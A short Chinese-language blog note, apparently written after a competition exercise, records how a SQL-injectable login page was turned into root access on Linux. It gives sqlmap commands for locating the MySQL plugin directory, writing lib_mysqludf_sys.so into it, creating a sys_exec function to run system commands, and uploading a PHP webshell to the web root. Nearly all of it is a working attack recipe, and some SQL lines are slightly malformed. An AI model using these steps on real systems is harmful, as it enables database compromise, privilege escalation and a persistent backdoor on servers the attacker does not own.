前几天做一个小竞赛中有一个题目:给定的测试环境登录页面有POST注入漏洞,于是果断操起sqlmap跑数据,无意中发现当前MySQL连接用户为root,于是想到udf提权「虽然Windows下MySQL提权基本上没问题,但是Linux环境下原来一直没成功过。」,最终成功获取root权限「主要问题在于MySQL是以root权限运行」,记录笔记如下,方便以后查阅:
具体步骤如下
找到MySQL插件目录:
python sqlmap.py -u 'http://xxxx' --sql-shell show variables like "%plugin%";
利用sqlmap上传 lib_mysqludf_sys到MySQL插件目录;
python sqlmap.py -u 'http://xxxx' --file-write=/lib_mysqludf_sys.so --file-dest=/usr/lib/mysql/plugin/
激活存储过程「sys_exec」函数:
python sqlmap.py -u 'http://xxxx' --sql-shell CREATE FUNCTION sys_exec RETURNS STRING SONAME lib_mysqludf_sys.so SELECT * FROM information_schema.routines sys_exec(id);
也利用sqlmap上传后门程序:
python sqlmap.py -u 'http://xxx' --file-write=C:/phpspy.php --file-dest=/var/www/spy.php
测试环境
- Linux Ubuntu 11.04 (Natty Narwhal)
- PHP 5.3.5, Apache 2.2.17
- MySQL 5.0